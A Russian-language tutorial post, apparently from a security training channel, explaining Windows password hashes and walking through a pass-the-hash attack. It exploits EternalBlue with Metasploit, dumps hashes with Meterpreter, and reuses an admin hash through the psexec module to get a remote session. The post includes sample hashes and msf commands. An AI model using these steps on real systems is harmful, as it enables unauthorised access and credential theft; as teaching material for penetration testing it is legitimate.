August 8, 2023

Адский взлом 

🥷 Приветствую друзья

И так, в прошлой статье мы познакомились с Active Directory. Теперь обсудим атаки, а именно мы познакомимся с атакой Pass-the-hash.

Перед тем как мы начнем, давайте разберем как выглядят пароли в Windows. Пароли в Windows хранятся в виде хешей, а хеш вполне себе может быть устойчив к взлому, в принципе ради этого и был придуман данный термин.

Но есть нюанс) В некоторых случаях можно вполне себе обойтись и без пароля в явном виде. Вначале научимся извлекать хэш в системе Windows 7 и далее перейдем к серверу Windows Server 2016. Пользователь, чей хэш мы будем получать, должен иметь административные привилегии и быть авторизованным на обеих машинах. В качестве рабочей среды будет использоваться Kali Linux.

Для начала разберемся из чего состоит хеш. В Windows хеш выглядит примерно так:

admin4:1000:aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6:::

Как мы можем увидеть строка состоит из четырех частей, которые разделены между собой двоеточиями. Первая часть - имя юзера. Вторая - относительный числовой идентификатор.

Интересное начинается с третьей части. Третья часть - это LM-хеш. Самостоятельно он перестал использоваться с версии Vista, поскольку взломать его не составляет труда.

Четвертая часть - это NTLM-хеш. Он используется уже в современных версиях системы и более устойчив к взлому.


Как только юзер вводит пароль от системы, он тут же начинает шифроваться., а учитывая этот момент, можно предположить, что система не видит разницы между паролем и хешем, и мы можем во время аутентификации воспользоваться хешем, вместо пароля в явном виде.

Напомню, что сейчас мы имеем дело с Windows 7, а достаточно распространенная уязвимость на Windows 7 называется EternalBlue.

EternalBlue - кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB.

Для реализации данной атаки можно воспользоваться Metasploit, модулем «eternalblue».

В Meterpreter есть полезная команда hashdump, которая позволяет выгрузить любые LM или NTLM хэши в целевой системе:

meterpreter > hashdump admin4:1000:aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6:::

и получаем выгрузку:

Administrator:500:aad3b435b53404eeaad3b235b51404ee:21d6cfe0d16ae901b73c59d7e0c089c0::: Guest:501:aad3b135b51404eeaad3b495b51404ee:31d6cfe0d16ae931b93c59d7e0c079c0:::

Видим по результатам выгрузки, что у admin4 скорее всего административные права и его хеш будем использовать для подключения к остальным машинам.

Полученный хеш привилегированного пользователя можно использовать для аутентификации на сервере Windows Server 2016 без пароля в явном виде. Для этого будем использовать модуль psexec в Metasploit.

PsExec представляет собой утилиту, позволяющую работать из командной строки, для запуска программ и команд в удаленных системах.

В Metasploit есть улучшенная версия PsExec, которая позволяет подключаться к удаленным целям.

Вводим все опции, которые требует данный модуль: адрес сервера, к которому подключаемся, затем логин и пароль пользователя. Вот в этом моменте, мы как раз-таки используем полученный ранее хеш администратора.

smbuser => admin4

msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6

smbpass => aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6

И по итогам у нас появляется сессия к удаленному серверу без знания пароля.

msf5 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 10.10.0.1:1234[*] 10.

А значит мы получили полный доступ к системе. Не это ли прекрасно?) Какие моменты мы должны были для себя выявить:

  • Pass-the-hash - это вектор атаки. Неважно, каким способом вы получите хеш юзера, главное его вычленить и далее уже по алгоритму pass-the-hash
  • Система не видит разницы между паролем в открытом доступе и хешем этого пароля.
  • При удачном раскладе всю работу возможно выполнить, используя один инструмент - MetaSploit.

🔥 Спасибо за прочтение, ставьте реакцию под постом

⚡️ Ссылка - Cyber Squad

🚀 Обучение - cyber-squad.pro

🥷 Задать вопрос - Fantom